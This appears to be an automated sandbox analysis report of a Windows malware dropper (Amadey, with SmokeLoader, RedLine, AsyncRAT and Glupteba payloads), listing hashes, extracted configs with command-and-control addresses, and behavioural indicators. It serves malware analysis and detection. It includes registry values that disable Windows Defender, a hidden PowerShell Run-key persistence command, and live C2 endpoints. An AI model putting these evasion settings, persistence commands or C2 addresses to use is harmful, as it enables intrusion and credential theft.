amadey | 4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a

Analysis

max time kernel
94s
max time network
156s
platform
windows10-1703_x64
resource
win10-20231020-en
resource tags

arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
submitted
22/10/2023, 19:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe
Size

897KB
MD5

5f2a3275efff0406fdfbf44795d93ea6
SHA1

cf3030770c3abf86287cb6bd05a6b128efa64b24
SHA256

4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a
SHA512

7b56489201a55c0ba85cc2f0d27821ab18e2a795578f79d5a55b5065ed0040e555ef77502dc0412d3283e27b02718db3a280873c5795214f71b8a82559a10020
SSDEEP

12288:ekNX0+PenqK1ZihaqWlNAjUf0HeGeXaLtVV57alhestcurJPxz8OM:eB+Penf1ZihaqzjUGeXCXD8aO

Malware Config

Extracted

Family

smokeloader

Version

2022

http://77.91.68.29/fks/

rc4.i32

Extracted

Family

redline

Botnet

homed

109.107.182.133:19084

Extracted

Family

amadey

Version

3.89

http://77.91.124.1/theme/index.php

Attributes

install_dir
fefffe8cea
install_file
explothe.exe
strings_key
36a96139c1118a354edf72b1080d4b2f

rc4.plain

Extracted

Family

redline

Botnet

kinder

109.107.182.133:19084

Extracted

Family

smokeloader

Botnet

up3

Extracted

Family

redline

Botnet

5141679758_99

https://pastebin.com/raw/8baCJyMF

Extracted

Family

redline

Botnet

YT&TEAM CLOUD

185.216.70.238:37515

Extracted

Family

smokeloader

Version

2020

http://host-file-host6.com/

http://host-host-file8.com/

rc4.i32

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

89.23.100.93:4449

Mutex

oonrejgwedvxwse

Attributes

delay
1
install
true
install_file
calc.exe
install_folder
%AppData%

aes.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Detected google phishing page
phishing google
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 2 IoCs

resource	yara_rule
behavioral1/memory/4928-263-0x0000000002F10000-0x00000000037FB000-memory.dmp	family_glupteba
behavioral1/memory/4928-264-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	399.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	399.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	399.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	399.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	399.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 11 IoCs

resource	yara_rule
behavioral1/files/0x000700000001ac02-50.dat	family_redline
behavioral1/files/0x000700000001ac02-51.dat	family_redline
behavioral1/memory/3632-75-0x0000000000B20000-0x0000000000B5E000-memory.dmp	family_redline
behavioral1/memory/1956-131-0x0000000000520000-0x000000000057A000-memory.dmp	family_redline
behavioral1/files/0x000600000001ac08-149.dat	family_redline
behavioral1/memory/4168-151-0x00000000009F0000-0x0000000000A2E000-memory.dmp	family_redline
behavioral1/files/0x000600000001ac08-150.dat	family_redline
behavioral1/memory/1956-168-0x0000000000400000-0x000000000047E000-memory.dmp	family_redline
behavioral1/files/0x000700000001ac2e-228.dat	family_redline
behavioral1/memory/4584-230-0x0000000000D40000-0x0000000000D7E000-memory.dmp	family_redline
behavioral1/files/0x000700000001ac2e-229.dat	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 5640 created 3212	5640	A36F.exe	54
PID 2220 created 3212	2220	latestX.exe	54
PID 5640 created 3212	5640	A36F.exe	54
PID 5640 created 3212	5640	A36F.exe	54

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/608-315-0x0000000000680000-0x0000000000698000-memory.dmp	asyncrat

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 35 IoCs

pid	Process
428	FD1D.exe
1400	FF31.exe
4356	WI0cI5hY.exe
4812	Ma0tF0tz.exe
1780	UL8bV6HP.exe
3632	231.exe
1368	Tq8Oc5RR.exe
3512	1cX69NZ2.exe
4492	399.exe
812	494.exe
3976	explothe.exe
1956	E78.exe
4168	2aH175Tt.exe
2428	3A4C.exe
2452	toolspub2.exe
2928	explothe.exe
4436	toolspub2.exe
928	5094.exe
4732	68B1.exe
4928	31839b57a4f11171d6abc8bbc4451ee4.exe
3776	Conhost.exe
1880	6C2D.exe
2220	latestX.exe
3308	set16.exe
4584	71BB.exe
204	K.exe
4512	is-A4DN2.tmp
3620	7AD5.exe
1060	sc.exe
608	866E.exe
4752	MyBurn.exe
3776	Conhost.exe
5264	948A.exe
5640	A36F.exe
32	calc.exe

Loads dropped DLL 5 IoCs

pid	Process
4512	is-A4DN2.tmp
4512	is-A4DN2.tmp
4512	is-A4DN2.tmp
5204	rundll32.exe
5416	rundll32.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	399.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	399.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	FD1D.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	WI0cI5hY.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	Ma0tF0tz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	UL8bV6HP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Tq8Oc5RR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Windows\CurrentVersion\Run\socks5 = "powershell.exe -windowstyle hidden -Command \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\68B1.exe'\""	68B1.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4844 set thread context of 2424	4844	4048eb4b38a5bc64667d5b342a5793df9eed8389bff2a23236116ec0f5f3b35a.exe	72
PID 3512 set thread context of 2128	3512	1cX69NZ2.exe	99
PID 2452 set thread context of 4436	2452	toolspub2.exe	109

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\MyBurn\is-1SLPT.tmp	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\Sounds\is-SIN2O.tmp	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\Sounds\is-ENHS8.tmp	is-A4DN2.tmp
File opened for modification	C:\Program Files (x86)\MyBurn\unins000.dat	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\unins000.dat	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\is-T7NK2.tmp	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\is-MRM2A.tmp	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\is-DATND.tmp	is-A4DN2.tmp
File opened for modification	C:\Program Files (x86)\MyBurn\MyBurn.exe	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\is-8HI9P.tmp	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\is-11RGB.tmp	is-A4DN2.tmp
File created	C:\Program Files (x86)\MyBurn\is-UM5TV.tmp	is-A4DN2.tmp

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2219095117.pri	MicrosoftEdgeCP.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5552	sc.exe
5904	sc.exe
1060	sc.exe
5172	sc.exe
4816	sc.exe
2492	sc.exe
4704	sc.exe
3620	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4316	2128	WerFault.exe	99
5584	32	WerFault.exe	150

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
5600	schtasks.exe
1756	schtasks.exe
6068	schtasks.exe
4796	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5652	timeout.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5e7e0f682105da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 5c9bcd6a2105da01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = d53a2c5d2105da01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VersionLow = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 7de3db6a2105da01	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\SharedCookie_MRACMigrationDone = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{A8A88C49-5EB2-4990-A1A2-087602 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DXFeatureLevel = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify = 0100000003748c8bbb0e5b088dda2c4304a36eb0b3c5333b9fe93460e8d96faa0cf57344abdff8dec06ba61d73e3181f7e1cb998853d1a9154b14218624f	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\ACGPolicyState = "6"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\DisallowDefaultBrowserPrompt = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Cookies	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\History	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-459651055-4136032345-1270294931-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
